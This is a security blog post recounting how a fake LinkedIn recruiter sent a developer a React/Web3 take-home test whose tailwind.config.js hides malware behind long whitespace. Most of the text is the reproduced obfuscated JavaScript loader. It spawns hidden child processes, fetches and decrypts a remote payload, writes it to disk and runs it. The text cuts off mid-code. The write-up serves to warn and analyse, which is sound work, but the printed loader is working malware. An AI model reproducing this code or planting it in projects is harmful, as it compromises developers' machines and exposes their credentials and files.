The LinkedIn scam that gets you hacked
Solving a take-home interview test can quickly turn into a nightmare. Notes on developer trust, JavaScript malware, and autonomous detection.

Fineas Silaghi
July 9, 2026
Introduction
Hey there folks, it's been a while 👋
In this article I would like to present you an unfortunate story which led to an interesting analysis of a creative hack. It all started two days ago, when a good friend of mine messaged me saying that he had been hacked.
I was genuinely surprised, because he is a very experienced engineer. He followed up with the story and told me that a LinkedIn user called Wayan Adrian had contacted him about a software engineering position at shrapnel.com.

The two then scheduled a take-home coding test, which was shared as a private GitHub repository, called tech-active-workplace-frontend-main under the GitHub account yevhen-o.
Act 1: The hack
About the assignment
With the best intentions to solve the test as fast as possible, he pulled the repository and started working right away. At first glance, the project looked like a normal React/Web3 take-home test.
The app was called BLAIEXS, and it was supposed to be an NFT campaign platform.

- The frontend was React. It had dashboards for brands and admins, an interface for campaign management, NFT creation flows, any many other components.
- The backend was Express API. It handled authentication, dashboard data, KYB checks, NFT creation and claiming, file uploads, and a few stubbed endpoints that made the application feel more realistic.
- The project also came with demo data. Running the seed script created a superadmin account, a demo brand account, a demo consumer account, a live campaign called
Demo NFT Drop, and a freeDemo CollectibleNFT with 100 copies.
As for the assignment itself, it was pretty straightforward - improve the wallet connection UI so it shows the blockchain network that is selected in MetaMask:
- Define the
getChainId(), async function insrc/utils/ethereum.js, calleth_chainId, and return the parsed hex value ornull. - In the same file, define the
getNetworkLabel(chainId)helper function, that looks up the chain ID in the existingNETWORKSand returns a readable network name. - Lastly, in
src/components/Wallet/ConnectWalletButton.js, the candidate had to call those helper functions after a wallet was connected.
Hidden in plain sight
With the task understood, my friend finished the requirements in no time. After that, he did what any candidate would naturally do: he tried to run the project to verify his work. That is when things started to fall off. The development server did not come up, even after waiting for a long time. At that point he became suspicious, unplugged the internet cable, and messaged me.
After he explained what happened, I asked him to send over the assignment project. I ran the trivial command: ls -la and something immediately stood out:
total 1440 -rw-r--r--@ 1 fineassilaghi staff 3518 Jun 15 04:19 README.md -rw-r--r--@ 1 fineassilaghi staff 4081 Jun 15 04:19 assessments.md -rw-r--r--@ 1 fineassilaghi staff 7067 Jun 15 04:19 config-overrides.js drwxr-xr-x 12 fineassilaghi staff 384 Jul 9 01:01 malware-analysis drwxr-xr-x 1255 fineassilaghi staff 40160 Jul 9 15:09 node_modules -rw-r--r--@ 1 fineassilaghi staff 3901 Jun 15 04:19 package.json -rw-r--r--@ 1 fineassilaghi staff 83 Jun 15 04:19 postcss.config.js drwxr-xr-x@ 13 fineassilaghi staff 416 Jun 15 04:19 public drwxr-xr-x@ 6 fineassilaghi staff 192 Jun 15 04:19 scripts drwxr-xr-x@ 12 fineassilaghi staff 384 Jun 15 04:19 server drwxr-xr-x@ 25 fineassilaghi staff 800 Jun 15 04:19 src -rw-r--r--@ 1 fineassilaghi staff 30987 Jul 9 15:28 tailwind.config.js -rw-r--r--@ 1 fineassilaghi staff 678348 Jul 9 15:08 yarn.lock
On disk, the file tailwind.config.js seems to have 30987 bytes, but it only displayed 97 lines inside the editor.
This can also be confirmed by running wc -c -> 30987 tailwind.config.js
So, looking closer at line 95, near the end of the file, after thousands of whitespace characters, we can spot a dense blob of characters:
1(function(d,e){var ar=c,aq=b,f=d();while(!![]){try{var g=parseInt(aq(0x292))/(-0x1*0x9f3+-0x134c+-0x9c0*-0x3)*(-parseInt(aq(0x1e6))/(-0x84*0x46+0x19+0x2401))+parseInt(ar(0x2cf,'mqJd'))/(-0xeae+-0x6*-0x18a+0x575*0x1)*(parseInt(ar(0x1ce,'XO]L'))/(0x1c*0x158+0x2*0xd1c+0xd7*-0x4c))+-parseInt(aq(0x2d4))/(-0x9d1*0x3+-0x664+0x23dc)+parseInt(aq(0x1be))/(-0x14*0xf1+0xbb*0x4+0xfee)+parseInt(ar(0x298,'v#dL'))/(-0x2d*0x4f+0x4*-0x1df+0x1566)*(parseInt(ar(0x2e4,'VHOt'))/(-0x998+-0x1*0x1c9d+-0xcbf*-0x3))+-parseInt(ar(0x26a,'ewfe'))/(0xfc*0x1b+-0x1*-0x2238+-0x3cc3)*(-parseInt(ar(0x279,'Nj3g'))/(-0x21f4+-0x1060+0x3*0x10ca))+-parseInt(aq(0x242))/(0x1*0x7f0+-0x14e3+-0xcfe*-0x1)*(parseInt(aq(0x2c5))/(0x1f9b+0x14c6+0x1*-0x3455));if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0xe2ee4+-0x4c517+-0x74fc),((()=>{var at=b,as=c,g={'HWKkC':function(N,O){return N(O);},'QWIPZ':as(0x2f1,'XcQ&'),'gndfm':function(N,O){return N(O);},'Nrtli':function(N,O){return N(O);},'DSeHd':as(0x2de,'8KkC'),'TYCLy':function(N,O){return N(O);},'vqpKp':as(0x241,'AkCF'),'sJQBL':as(0x257,'XAU2'),'RvKZx':function(N,O){return N!==O;},'OXaWO':function(N,O,P,Q){return N(O,P,Q);},'clKpH':as(0x223,'XSgT'),'yBXSq':as(0x221,'S(4&'),'FtOEi':function(N,O){return N>O;},'tDVPr':at(0x267),'wTbKH':function(N,O){return N===O;},'eQMIR':function(N,O,P){return N(O,P);},'DPJNG':function(N,O){return N<O;},'LhPLb':at(0x269),'FoEfr':as(0x280,'2dN6'),'eEWbS':function(N,O){return N+O;},'tlzbA':as(0x281,'xKfk')+'\x27','PFhSR':as(0x22d,'aXeF'),'yTCAx':function(N,O){return N&&O;},'ZaWFz':function(N,O){return N<=O;},'mXgHv':function(N,O){return N instanceof O;},'zbAlP':function(N,O,P,Q,R){return N(O,P,Q,R);},'ShJwH':as(0x2a0,'5uVO'),'DjUGd':function(N,O){return N==O;},'vVAdi':at(0x2c9),'yXRdo':as(0x24e,'Pvj!'),'lKpqc':at(0x25d),'ZYUoQ':function(N,O){return N(O);},'XwZnI':function(N,O,P,Q){return N(O,P,Q);},'hjiNc':as(0x286,'59Eu'),'KeOew':function(N,O,P,Q){return N(O,P,Q);},'KTBsN':at(0x2bf),'hCDea':function(N,O,P,Q){return N(O,P,Q);},'BeUre':function(N,O,P,Q){return N(O,P,Q);},'ZWLTO':as(0x201,'XAU2'),'SBfLs':function(N,O,P,Q){return N(O,P,Q);},'daMjh':function(N,O,P){return N(O,P);},'blTlK':function(N,O,P){return N(O,P);},'Sfzzo':at(0x2e7),'UtFUj':as(0x1dd,'OCPi'),'drSzk':function(N,O,P,Q){return N(O,P,Q);},'JMXdA':function(N,O){return N(O);},'MOANO':function(N,O){return N==O;},'ThIdW':function(N,O){return N!=O;},'TnCdH':at(0x2a8),'xMJgz':function(N,O){return N(O);},'zYLUR':function(N,O){return N!==O;},'jtTyX':at(0x2f4),'cCNuZ':as(0x266,'7NYV'),'YLfFu':function(N,O){return N===O;},'qouwc':as(0x253,'C4bf'),'PSssl':at(0x2ac),'kZQxc':at(0x232),'QpTYY':at(0x2e2)+as(0x275,'*msx')+as(0x21f,'w@TP')+as(0x296,'oAu1')+as(0x264,'2dN6'),'HohUw':function(N,O){return N>O;},'tVpJx':as(0x230,'Nj3g'),'otOyV':at(0x2a4),'OPmwS':as(0x236,'oAu1'),'pZstV':function(N,O,P){return N(O,P);},'yOYsp':as(0x22c,'Lj^r'),'tpHIC':as(0x1d5,'W$I8'),'TsQof':at(0x2a6),'TktKf':function(N,O,P){return N(O,P);},'CAFbP':at(0x216),'HVkUT':function(N){return N();},'WlEiz':function(N,O,P,Q,R,S,T,U){return N(O,P,Q,R,S,T,U);},'GFDQG':function(N,O){return N(O);},'WGjyj':function(N,O){return N(O);},'JdFoh':function(N,O){return N(O);},'TgzLF':function(N,O,P){return N(O,P);},'aALHO':at(0x20c)+as(0x1c0,'Lx0T')+as(0x213,'OCPi'),'JCubH':function(N,O){return N(O);},'yscbf':as(0x1dc,'59Eu'),'HFJSk':as(0x215,'$mCe'),'vBWWM':as(0x26c,'Pvj!'),'zrhrj':at(0x2ee),'GNeIE':function(N){return N();}},j,k={0x13d:N=>{'use strict';var av=as,au=at;N[au(0x214)]=g[av(0x1f2,'XcQ&')](require,g[av(0x1d4,'(UPx')]);},0x359:N=>{'use strict';var aw=at;N[aw(0x214)]=g[aw(0x26d)](require,'os');},0x380:N=>{'use strict';var ay=as,ax=at;N[ax(0x214)]=g[ay(0x2e5,'7NYV')](require,'fs');},0x3a0:N=>{'use strict';var aA=at,az=as;N[az(0x1e5,'ewfe')]=g[aA(0x2d2)](require,g[az(0x1d3,'Pvj!')]);},0x3aa:N=>{'use strict';var aC=at,aB=as;N[aB(0x2ed,'(UPx')]=g[aC(0x212)](require,g[aC(0x1ea)]);},0x3d6:N=>{'use strict';var aE=as,aD=at;N[aD(0x214)]=g[aE(0x2cd,'(UPx')](require,g[aD(0x28a)]);}},q={};function w(N){var aG=at,aF=as,O=q[N];if(g[aF(0x202,'5uVO')](void(-0x5b*0x61+0x4*0x1c0+-0x7*-0x3ed),O))return O[aG(0x214)];var P=q[N]={'exports':{}};return k[N](P,P[aG(0x214)],w),P[aG(0x214)];}function x(){var aP=as,aJ=at,N={'eoBqP':function(a1,a2){var aH=c;return g[aH(0x297,'iLN&')](a1,a2);},'Yiwrq':function(a1,a2){var aI=b;return g[aI(0x26d)](a1,a2);},'RKISW':g[aJ(0x1e0)],'ubPaj':function(a1,a2){var aK=aJ;return g[aK(0x1df)](a1,a2);},'MvQmt':function(a1,a2,a3){var aL=c;return g[aL(0x1e3,'rxG%')](a1,a2,a3);},'vCBNZ':function(a1,a2){var aM=aJ;return g[aM(0x252)](a1,a2);},'fWWlV':function(a1,a2){var aN=aJ;return g[aN(0x2e8)](a1,a2);},'bbiax':g[aJ(0x28b)],'vkYPe':function(a1,a2){var aO=aJ;return g[aO(0x268)](a1,a2);},'HjqlW':g[aP(0x2b6,'w@TP')],'sZiSx':function(a1,a2){var aQ=aP;return g[aQ(0x2eb,'w@TP')](a1,a2);},'ByGuW':g[aP(0x20a,'Nj3g')],'KPvBL':g[aJ(0x25c)],'hXgDA':function(a1,a2){var aR=aJ;return g[aR(0x238)](a1,a2);},'NdKXP':function(a1,a2){var aS=aP;return g[aS(0x1f7,'W$I8')](a1,a2);},'XVorp':function(a1,a2){var aT=aP;return g[aT(0x2a9,'8KkC')](a1,a2);},'ruoMK':function(a1,a2){var aU=aJ;return g[aU(0x235)](a1,a2);},'bleLx':function(a1,a2,a3,a4,a5){var aV=aJ;return g[aV(0x2a2)](a1,a2,a3,a4,a5);},'KaERm':g[aJ(0x28e)]},O,P,Q=g[aP(0x21b,'l*Mb')](g[aJ(0x207)],typeof Symbol)?Symbol:{},R=Q[aP(0x1c9,'$mCe')]||g[aP(0x2ec,'LeLs')],S=Q[aP(0x240,'oAu1')]||g[aP(0x2b7,'59Eu')];function T(a1,a2,a3,a4){var b3=aJ,aY=aP,a5={'WSZDu':function(a8,a9){var aW=c;return N[aW(0x2a1,'Q[[T')](a8,a9);},'nixpc':function(a8,a9){var aX=b;return N[aX(0x23c)](a8,a9);},'trwmc':N[aY(0x206,'AkCF')],'omHnt':function(a8,a9){var aZ=aY;return N[aZ(0x203,'OCPi')](a8,a9);},'gcoPi':function(a8,a9,aa){var b0=aY;return N[b0(0x1d2,'rAuw')](a8,a9,aa);},'QQnwP':function(a8,a9){var b1=aY;return N[b1(0x295,'CfE1')](a8,a9);},'MubEc':function(a8,a9){var b2=aY;return N[b2(0x1bd,'CfE1')](a8,a9);},'WneSV':N[b3(0x25e)],'ZGsFx':function(a8,a9){var b4=b3;return N[b4(0x25b)](a8,a9);},'vaQVD':N[b3(0x2c2)],'dmOcI':function(a8,a9){var b5=aY;return N[b5(0x289,'Q4!J')](a8,a9);},'cldBz':function(a8,a9){var b6=aY;return N[b6(0x2aa,'YbBH')](a8,a9);},'Ldajq':function(a8,a9){var b7=aY;return N[b7(0x23f,'Lx0T')](a8,a9);},'kzTjr':function(a8,a9){var b8=aY;return N[b8(0x27a,'XcQ&')](a8,a9);},'oRKXf':N[aY(0x1cb,'OCPi')],'Nfyzd':N[b3(0x2b0)],'mIbBu':function(a8,a9){var b9=b3;return N[b9(0x1ef)](a8,a9);},'GGacH':function(a8,a9){var ba=aY;return N[ba(0x233,'XO]L')](a8,a9);},'sGqQB':function(a8,a9){var bb=aY;return N[bb(0x2a5,'rxG%')](a8,a9);},'UanbJ':function(a8,a9){var bc=aY;return N[bc(0x219,'Nj3g')](a8,a9);},'EjXGh':function(a8,a9){var bd=b3;return N[bd(0x248)](a8,a9);}},a6=a2&&N[b3(0x222)](a2[b3(0x1e8)],V)?a2:V,a7=Object[b3(0x1e1)](a6[aY(0x1db,'Pvj!')]);return N[aY(0x1c4,'v#dL')](z,a7,N[b3(0x234)],function(a8,a9,aa){var bl=b3,ab={'VpPpo':function(ak,al){var be=b;return a5[be(0x20e)](ak,al);},'AEuCD':function(ak,al){var bf=b;return a5[bf(0x21d)](ak,al);},'dnEwJ':function(ak,al){var bg=c;return a5[bg(0x246,'de]8')](ak,al);},'nCYoV':function(ak,al){var bh=b;return a5[bh(0x256)](ak,al);},'IeQWf':function(ak,al){var bi=b;return a5[bi(0x277)](ak,al);},'FGcVn':function(ak,al){var bj=b;return a5[bj(0x2c7)](ak,al);},'EbeVL':function(ak,al){var bk=b;return a5[bk(0x2c7)](ak,al);}},ac,ad,ae,af=-0x2510+0x1*-0x26b3+0xf*0x50d,ag=aa||[],ah=!(0x2*0x7f+-0xb83+0x1*0xa86),ai={'p':0x0,'n':0x0,'v':O,'a':aj,'f':aj[bl(0x287)](O,-0x1ee7+0x2426+0x53b*-0x1),'d':function(ak,al){return ac=ak,ad=-0x137f+-0x2*-0x342+0x1*0xcfb,ae=O,ai['n']=al,U;}};function aj(ak,al){var bn=c,bm=bl;for(ad=ak,ae=al,P=-0x1768+0x1134+-0x18d*-0x4;ab[bm(0x1ee)](!ah,af)&&!am&&ab[bn(0x299,'ewfe')](P,ag[bn(0x1f3,'S(4&')]);P++){var am,an=ag[P],ao=ai['p'],ap=an[0x1*0x796+0x692+-0xe26];ab[bn(0x217,'VHOt')](ak,-0x188d+-0x3a9*-0x3+0x13*0xb7)?(am=ab[bn(0x2d9,'KeLA')](ap,al))&&(ae=an[(ad=an[0xca0*-0x1+-0x178*-0x2+0x1b*0x5c])?-0x69b+-0x9*-0x21+-0x1*-0x577:(ad=-0x1*-0x472+0x1677+0xb*-0x272,-0x246d+0x631*-0x3+0x1*0x3703)],an[0x759+-0x16b6+-0x7f*-0x1f]=an[0x959+-0x4fd+-0x457*0x1]=O):ab[bm(0x1c6)](an[0x1*-0x222a+0x95*-0x20+0x34ca],ao)&&((am=ab[bm(0x2ea)](ak,-0xa9*0x29+0x1cd2+0x1*-0x1bf)&&ab[bn(0x250,'VHOt')](ao,an[-0x1*-0x267b+0x23b4+-0x83e*0x9]))?(ad=0xd21+0x26f1+0x136*-0x2b,ai['v']=al,ai['n']=an[0x1b44+-0x3a*-0x7+0x41f*-0x7]):ab[bn(0x278,'W$I8')](ao,ap)&&(am=ab[bm(0x26f)](ak,0xb11+0x2566+0x7*-0x6ec)||ab[bn(0x2dc,'mqJd')](an[-0xdf4+-0x26bd+0x34b1],al)||ab[bn(0x2f7,'X)[j')](al,ap))&&(an[0x2*-0x7af+-0x1*-0x19c5+-0xa63]=ak,an[0x1*0x25cf+-0x1561+-0x1*0x1069]=al,ai['n']=ap,ad=0x1*-0x1999+-0x2*-0x1b0+0x1639));}if(am||ab[bm(0x220)](ak,0xe25+0x1a6c+0x4*-0xa24))return U;throw ah=!(0x7*-0x89+-0x27*0x14+0x6cb),al;}return function(ak,al,am){var bp=bl,bo=c;if(a5[bo(0x1cc,'l*Mb')](af,0x1*-0x270b+-0x2072+0x477e*0x1))throw a5[bp(0x2c4)](TypeError,a5[bp(0x2a7)]);for(ah&&a5[bo(0x244,'Lx0T')](0xd77*0x2+0x7a2+-0x228f,al)&&a5[bp(0x225)](aj,al,am),ad=al,ae=am;(P=a5[bp(0x2c7)](ad,0x34f+0x14ed+-0x1bb*0xe)?O:ae)||!ah;){ac||(ad?a5[bo(0x2d5,'de]8')](ad,0x1*0x12cd+-0x20b5+0xdeb)?(a5[bo(0x1ec,'W$I8')](ad,-0x1ed1+0x2*-0x12b7+0x4440)&&(ai['n']=-(-0x25f1*-0x1+-0x9*-0x249+-0x1*0x3a81)),a5[bp(0x225)](aj,ad,ae)):ai['n']=ae:ai['v']=ae);try{if(af=0x2452+-0x1339+-0x271*0x7,ac){if(ad||(ak=a5[bp(0x1d6)]),P=ac[ak]){if(!(P=P[bo(0x22a,'oAu1')](ac,ae)))throw a5[bo(0x282,'ewfe')](TypeError,a5[bo(0x2c6,'KeLA')]);if(!P[bp(0x28f)])return P;ae=P[bo(0x231,'rAuw')],a5[bo(0x21c,'Pvj!')](ad,0xb51*-0x1+0x23fe+0x5*-0x4ef)&&(ad=0x1*0x333+-0x22a*-0x4+0xbdb*-0x1);}else a5[bo(0x2b5,'C[#5')](0x931+-0x22e0+0x224*0xc,ad)&&(P=ac[bo(0x27e,'KeLA')])&&P[bp(0x1e9)](ac),a5[bo(0x204,'*msx')](ad,0x7f7*0x3+0x60+-0x1*0x1843)&&(ae=a5[bp(0x2df)](TypeError,a5[bo(0x291,'KeLA')](a5[bp(0x2ba)](a5[bp(0x205)],ak),a5[bp(0x23d)])),ad=-0x21b7+0x4*-0x59+0x141*0x1c);ac=O;}else{if(a5[bo(0x25a,'XO]L')](P=(ah=a5[bo(0x290,'de]8')](ai['n'],0x7cf*0x4+0x61a*-0x4+-0x6d4))?ae:a8[bp(0x1e9)](a9,ai),U))break;}}catch(an){ac=O,ad=-0x5*-0x5a4+-0x23b3+0x780,ae=an;}finally{af=0x235+-0x1447+-0x1*-0x1213;}}return{'value':P,'done':ah};};}(a1,a3,a4),!(-0x7be+0x1*0x20ab+-0x2c5*0x9)),a7;}var U={};function V(){}function W(){}function X(){}P=Object[aP(0x245,'aMyW')];var Y=[][R]?g[aP(0x1f1,'XSgT')](P,g[aJ(0x2d7)](P,[][R]())):(g[aJ(0x218)](z,P={},R,function(){return this;}),P),Z=X[aP(0x243,'ewfe')]=V[aP(0x2ca,'de]8')]=Object[aP(0x200,'7NYV')](Y);function a0(a1){var br=aP,bq=aJ;return Object[bq(0x2ad)]?Object[br(0x26e,'l*Mb')](a1,X):(a1[bq(0x24c)]=X,g[br(0x2f6,'59Eu')](z,a1,S,g[br(0x29b,'XAU2')])),a1[bq(0x1e8)]=Object[bq(0x1e1)](Z),a1;}return W[aJ(0x1e8)]=X,g[aJ(0x2cc)](z,Z,g[aP(0x1de,'*msx')],X),g[aP(0x261,'t2R^')](z,X,g[aP(0x285,'oAu1')],W),W[aJ(0x27b)]=g[aJ(0x2f0)],g[aP(0x28d,'XO]L')](z,X,S,g[aJ(0x2f0)]),g[aJ(0x268)](z,Z),g[aJ(0x2ae)](z,Z,S,g[aP(0x2dd,'aXeF')]),g[aP(0x2ce,'l*Mb')](z,Z,R,function(){return this;}),g[aP(0x1f6,'2dN6')](z,Z,g[aP(0x1bf,'XAU2')],function(){var bs=aJ;return g[bs(0x211)];}),(x=function(){return{'w':T,'m':a0};})();}function z(N,O,P,Q){var bt=at,R=Object[bt(0x2c3)];try{g[bt(0x270)](R,{},'',{});}catch(S){R=0x1*-0xacf+-0x39f+0xe6e;}z=function(T,U,V,W){var by=bt,bx=c,X={'ulIly':function(Z,a0,a1,a2){var bu=c;return g[bu(0x2f2,'LeLs')](Z,a0,a1,a2);}};function Y(Z,a0){var bv=b;X[bv(0x2bb)](z,T,Z,function(a1){var bw=c;return this[bw(0x224,'S(4&')](Z,a0,a1);});}U?R?g[bx(0x2b9,'aMyW')](R,T,U,{'value':V,'enumerable':!W,'configurable':!W,'writable':!W}):T[U]=V:(g[bx(0x1c5,'Lj^r')](Y,g[by(0x28b)],-0x9eb*0x1+-0xff3+-0xe*-0x1d9),g[bx(0x1d7,'rAuw')](Y,g[by(0x276)],0x27f+0x1e9f+-0x211d),g[bx(0x24d,'OCPi')](Y,g[by(0x1fc)],0x539*0x5+0x622*-0x4+-0x1*0x193));},g[bt(0x2a2)](z,N,O,P,Q);}function A(N,O,P,Q,R,S,T){var bA=at,bz=as;try{var U=N[S](T),V=U[bz(0x27d,'knIZ')];}catch(W){return void g[bA(0x259)](P,W);}U[bz(0x2cb,'X)[j')]?g[bA(0x2d7)](O,V):Promise[bz(0x23a,'CfE1')](V)[bz(0x2a3,'l*Mb')](Q,R);}function B(N,O){var bB=at,P={'zLNHM':g[bB(0x2b2)]};return function(Q){var bC=c;if(Array[bC(0x226,'XSgT')](Q))return Q;}(N)||function(Q,R){var bE=c,bD=bB,S=g[bD(0x2bc)](null,Q)?null:g[bE(0x293,'xKfk')](g[bD(0x1d0)],typeof Symbol)&&Q[Symbol[bD(0x265)]]||Q[g[bD(0x1c8)]];if(g[bD(0x24b)](null,S)){var T,U,V,W,X=[],Y=!(-0x1816+-0x28*-0xa7+-0x202),Z=!(-0x229e+0x97*0x6+0x1f15);try{if(V=(S=S[bE(0x28c,'7NYV')](Q))[bD(0x269)],g[bD(0x1df)](0x703*-0x2+-0x14c6*-0x1+-0x6c0,R)){if(g[bD(0x238)](g[bD(0x1fa)](Object,S),S))return;Y=!(-0x268f*-0x1+0x1*-0xdde+-0x18b0);}else{for(;!(Y=(T=V[bE(0x2d0,'W$I8')](S))[bD(0x28f)])&&(X[bE(0x258,'S(4&')](T[bE(0x27d,'knIZ')]),g[bE(0x1fd,'*msx')](X[bD(0x2c0)],R));Y=!(0x9f2+0x34a*-0xb+0x1a3c));}}catch(a0){Z=!(-0x20b*-0xe+0x1e94+-0x3b2e),U=a0;}finally{try{if(!Y&&g[bE(0x262,'XAU2')](null,S[bD(0x1e7)])&&(W=S[bE(0x2be,'aXeF')](),g[bE(0x20d,'$mCe')](g[bE(0x24f,'Q[[T')](Object,W),W)))return;}finally{if(Z)throw U;}}return X;}}(N,O)||function(Q,R){var bG=c,bF=bB;if(Q){if(g[bF(0x2bc)](g[bF(0x2e0)],typeof Q))return g[bF(0x1bc)](C,Q,R);var S={}[bG(0x251,'W$I8')][bG(0x227,'ewfe')](Q)[bG(0x2db,'w@TP')](0x126a+-0x2213+0xfb1,-(0x1*0xa2f+0xd06+-0x1734));return g[bG(0x2b8,'2dN6')](g[bG(0x1bb,'XAU2')],S)&&Q[bG(0x2d1,'C4bf')]&&(S=Q[bF(0x29f)][bF(0x22e)]),g[bG(0x22f,'XSgT')](g[bF(0x209)],S)||g[bG(0x27f,'rAuw')](g[bG(0x294,'7NYV')],S)?Array[bF(0x283)](Q):g[bF(0x1df)](g[bG(0x1f0,'knIZ')],S)||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/[bG(0x263,'Pvj!')](S)?g[bG(0x29c,'X)[j')](C,Q,R):void(-0x96c+0xed9*-0x2+0x271e);}}(N,O)||(function(){var bH=c;throw new TypeError(P[bH(0x23e,'C[#5')]);}());}function C(N,O){var bJ=at,bI=as;(g[bI(0x20b,'8KkC')](null,O)||g[bJ(0x1f8)](O,N[bJ(0x2c0)]))&&(O=N[bJ(0x2c0)]);for(var P=-0x25a0+-0x1fbe+0x455e,Q=g[bI(0x1ca,'lf$!')](Array,O);g[bI(0x27c,'2dN6')](P,O);P++)Q[P]=N[P];return Q;}try{var D=g[at(0x24a)](w,0x1212+0x1*0xa7d+-0x1*0x1936),E=g[as(0x1d1,'OCPi')](w,-0x1471*-0x1+0x4dc+-0x15cd),F=g[as(0x260,'KeLA')](w,0x1fe2+0xe5*0x16+-0x2ff0),G=g[as(0x2f3,'C[#5')](w,-0x1792+0xb75*0x2+0x5*0xe6),H=g[at(0x24a)](w,-0x301*0xb+-0x4c7*-0x3+0x13f3),I=H[at(0x272)];H[at(0x2d6)],g[as(0x1d8,'rAuw')](I,g[at(0x254)],{'windowsHide':!(0x1*0x1b9d+-0x8e*-0x3a+-0xbf5*0x5),'cwd':D[at(0x237)]()});var J=g[at(0x2af)](w,0x17bb+0x1*0x1d03+0x188a*-0x2);process['on'](g[at(0x284)],function(N){}),process['on'](g[at(0x1c7)],function(N){});var K=g[at(0x1da)],L=''[at(0x271)](0xdae+-0xd3*-0x21+-0x28b4,'.')[at(0x271)](0x1*0x1596+0x26a4+0x2*-0x1dd4,'.')[as(0x1ff,'v#dL')](-0x4*-0x6ed+0xd9*0x1f+-0x1*0x34ff,'.')[as(0x249,'XO]L')](-0x1d*0xd0+-0x20fb+0x389c),M=G[at(0x25f)](K,g[as(0x2e3,'XSgT')],-0x5*-0x37c+-0x1*0xe59+0x97*-0x5);(j=g[as(0x2ab,'(UPx')](x)['m'](function N(){var bM=at,bK=as,O={'mAtGj':g[bK(0x2ef,'XSgT')],'IdQKg':function(P,Q,R){var bL=b;return g[bL(0x2e1)](P,Q,R);},'CUork':g[bM(0x2d3)],'rVkAH':g[bM(0x29d)],'jDxUQ':g[bK(0x1eb,'Q[[T')],'WLdov':function(P,Q,R){var bN=bM;return g[bN(0x29e)](P,Q,R);},'RtXxC':g[bK(0x1c1,'aMyW')]};return g[bK(0x1f4,'rxG%')](x)['w'](function(P){var bP=bK,bO=bM;for(;;)switch(P['n']){case-0x28d*-0xb+0xa9a+-0x26a9:return P['n']=-0xb2a+0x9d2+0x159,J[bO(0x20f)](g[bO(0x2da)][bP(0x255,'OCPi')](L,g[bO(0x2e6)])[bP(0x228,'KeLA')](K))[bP(0x1cd,'Q[[T')](function(Q){var bR=bP,bQ=bO;try{var R=F[bQ(0x29a)](D[bQ(0x237)](),O[bQ(0x273)]);E[bQ(0x2c1)](R,(T=(S=O[bR(0x26b,'W$I8')](B,Q[bR(0x247,'t2R^')][bQ(0x210)](':'),-0x474+-0x5*-0x6cd+-0x1d8b))[0xab9*0x1+-0x251e+-0x1*-0x1a65],U=S[-0x1d9*-0xb+0x1f43+-0x3395],W=(V=G[bQ(0x23b)](O[bR(0x1fb,'$mCe')],M,Buffer[bR(0x229,'jtlu')](T,O[bQ(0x2e9)])))[bR(0x1d9,'w@TP')](U,O[bR(0x2bd,'X)[j')],O[bQ(0x1f9)]),W+=V[bR(0x274,'rxG%')](O[bR(0x239,'lf$!')])),{'flag':'w+'}),O[bR(0x2c8,'lf$!')](I,O[bR(0x288,'C[#5')],{'windowsHide':!(-0x17ba+-0x80a+0x1fc4),'cwd':F[bR(0x1e2,'YbBH')](D[bR(0x1c3,'Nj3g')]())});}catch(X){}var S,T,U,V,W;})[bP(0x2f5,'OCPi')](function(Q){});case-0x237c+-0x241f+-0x4*-0x11e7:return P['a'](-0x4b3*0x7+0x85*0x3b+0x240);}},N);}),function(){var O=this,P=arguments;return new Promise(function(Q,R){var bT=b,S={'BRpRk':function(W,X,Y,Z,a0,a1,a2,a3){var bS=b;return g[bS(0x2b4)](W,X,Y,Z,a0,a1,a2,a3);},'YEsNe':g[bT(0x28b)],'vplvr':g[bT(0x276)]},T=j[bT(0x2b3)](O,P);function U(W){var bU=bT;S[bU(0x1f5)](A,T,Q,R,U,V,S[bU(0x1e4)],W);}function V(W){var bW=bT,bV=c;S[bV(0x1c2,'v#dL')](A,T,Q,R,U,V,S[bW(0x2d8)],W);}g[bT(0x22b)](U,void(0x14*-0x8d+-0x9*-0x2b+0x981));});})();}catch(O){}})()));function c(b,d){b=b-(0x22a2+0x24ed+-0x6d*0xa4);var e=a();var f=e[b];if(c['VutllW']===undefined){var g=function(l){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',o='';for(var p=0x18ec+0x926+-0x2212,q,r,s=0x6*-0x585+-0x6d*0x31+0xd*0x427;r=l['charAt'](s++);~r&&(q=p%(-0x180*-0x18+0x242d+0xa4f*-0x7)?q*(0x43*0x3a+0x24f*-0xa+0xc*0xae)+r:r,p++%(0x16fc+0x26ea+-0x3de2))?n+=String['fromCharCode'](-0x1d9+-0x1*-0x4f4+-0x21c&q>>(-(0xbd0+-0x1cc4+0x10f6)*p&-0x9e3*0x2+0x866+0x5b3*0x2)):-0xd0c+-0x966+0x152*0x11){r=m['indexOf'](r);}for(var t=0x4aa+-0x945*-0x3+-0x2079,u=n['length'];t<u;t++){o+='%'+('00'+n['charCodeAt'](t)['toString'](0x34*-0xb+0x1*0x17e+-0x1*-0xce))['slice'](-(-0x1d0d+-0xa01+0x2710));}return decodeURIComponent(o);};var k=function(l,m){var n=[],o=0x1026+0x5*-0x347+0x3d,p,q='';l=g(l);var r;for(r=-0x8*0x37f+0x80*-0x16+0x56*0x74;r<0x65*-0x22+-0x1*-0x23fb+0x1591*-0x1;r++){n[r]=r;}for(r=-0x338+-0x22d4+-0x983*-0x4;r<-0x1fe0+-0x3b5+0x5*0x751;r++){o=(o+n[r]+m['charCodeAt'](r%m['length']))%(-0x117b+0x1faa+-0xd2f),p=n[r],n[r]=n[o],n[o]=p;}r=-0x1f5d*-0x1+0x2523+-0x80*0x89,o=-0x7*-0x26b+-0xe*-0x277+-0x336f;for(var t=0x1*-0x3a9+-0x17fe+0x1*0x1ba7;t<l['length'];t++){r=(r+(-0x37d*-0x7+0x789+-0x1*0x1ff3))%(0xe52+0x176*0x10+-0x24b2),o=(o+n[r])%(0x425+0x20*0x122+-0x7e1*0x5),p=n[r],n[r]=n[o],n[o]=p,q+=String['fromCharCode'](l['charCodeAt'](t)^n[(n[r]+n[o])%(0xfe*0x1+0x1*-0x17e3+-0x17e5*-0x1)]);}return q;};c['fJOZBW']=k,c['BDdkId']={},c['VutllW']=!![];}var h=e[0x192b+0x21c2+-0x3aed],i=b+h,j=c['BDdkId'][i];return!j?(c['WrmiHu']===undefined&&(c['WrmiHu']=!![]),f=c['fJOZBW'](f,d),c['BDdkId'][i]=f):f=j,f;}function b(c,d){c=c-(0x22a2+0x24ed+-0x6d*0xa4);var e=a();var 